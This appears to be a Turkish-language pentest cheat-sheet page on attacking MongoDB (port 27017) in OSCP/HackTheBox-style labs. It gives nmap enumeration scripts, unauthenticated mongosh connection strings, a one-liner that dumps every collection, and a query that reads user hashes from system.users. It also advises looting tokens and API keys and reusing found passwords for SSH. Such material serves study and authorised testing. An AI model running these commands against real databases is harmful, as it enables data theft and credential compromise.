27017
MongoDB
linuxMongoDB (cogunlukla kimlik dogrulamasiz): mongosh ile baglanip DB/collection dump, hassas veri loot, surum-bazli CVE.
┌──
Komutlar
nmap ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=mongodb-info,mongodb-databases {{RHOST}} MongoDB surum tespiti ve kimlik dogrulamasiz DB listeleme. HackTricks — 27017 Pentesting MongoDB
mongosh ✓ EXAM-SAFE
mongosh mongodb://{{RHOST}}:{{RPORT}} Kimlik dogrulamasiz mongosh baglantisi. HackTricks — 27017 Pentesting MongoDB
mongosh ✓ EXAM-SAFE
mongosh mongodb://{{USER}}:{{PASS}}@{{RHOST}}:{{RPORT}}/admin Kimlik dogrulamali mongosh baglantisi. HackTricks — 27017 Pentesting MongoDB
mongosh ✓ EXAM-SAFE
mongosh mongodb://{{RHOST}}:{{RPORT}} --eval 'db.adminCommand({listDatabases:1})' Tum veritabanlarini listele. MongoDB Manual — mongosh
mongosh ✓ EXAM-SAFE
mongosh mongodb://{{RHOST}}:{{RPORT}}/DBNAME --eval 'db.getCollectionNames().forEach(c=>printjson(db[c].find().toArray()))' Bir DB icindeki tum collection'lari dump et. HackTricks — 27017 Pentesting MongoDB
mongo ✓ EXAM-SAFE
mongo {{RHOST}}:{{RPORT}}/admin --eval 'db.system.users.find()' system.users koleksiyonundan kullanici/hash bilgisi cek. HackTricks — 27017 Pentesting MongoDB
Genel Bakis
MongoDB OSCP/HTB makinelerinde cogunlukla kimlik dogrulamasiz (bind 0.0.0.0, no auth) yapilandirilmis olarak bulunur. Bu durumda dogrudan baglanip tum collection’lari dump etmek mumkundur; asil amac uygulama kullanici kredleri ve hassas veri loot etmektir.
Enumeration
- nmap
mongodb-infovemongodb-databasesscriptleri auth olup olmadigini ve DB listesini gosterir. - Modern istemci
mongosh, eski makinelerdemongo. Surum onemli: 2.x-3.x’te bazi authentication bypass / CVE’ler mevcut. - Baglandiktan sonra
show dbs,use <db>,show collections,db.<col>.find()ile gez.
Kimlik Dogrulama
- Cogu zaman auth gerekmez. Auth varsa
adminDB’sinemongodb://user:pass@host/adminile baglan. - Uygulama config dosyalarindan (
.env,config.js) elde edilen connection string’ler kred kaynagidir.
Loot
- Uygulama DB’lerindeki
userscollection’larinda parola/hash ara; bunlari web/SSH icin tekrar kullan. admin.system.usersMongoDB’nin kendi kullanicilarini ve SCRAM hash’lerini tutar.- Dump edilen verileri (token, API key, oturum) sonraki adimlar icin sakla.
Notlar
- MongoDB’de dogrudan OS RCE nadirdir; deger loot ve pivot odaklidir.
- NoSQL injection (PayloadsAllTheThings) bir web uygulamasi MongoDB kullaniyorsa auth bypass icin ayrica degerlendirilir.
┌──
İlgili teknikler
┌──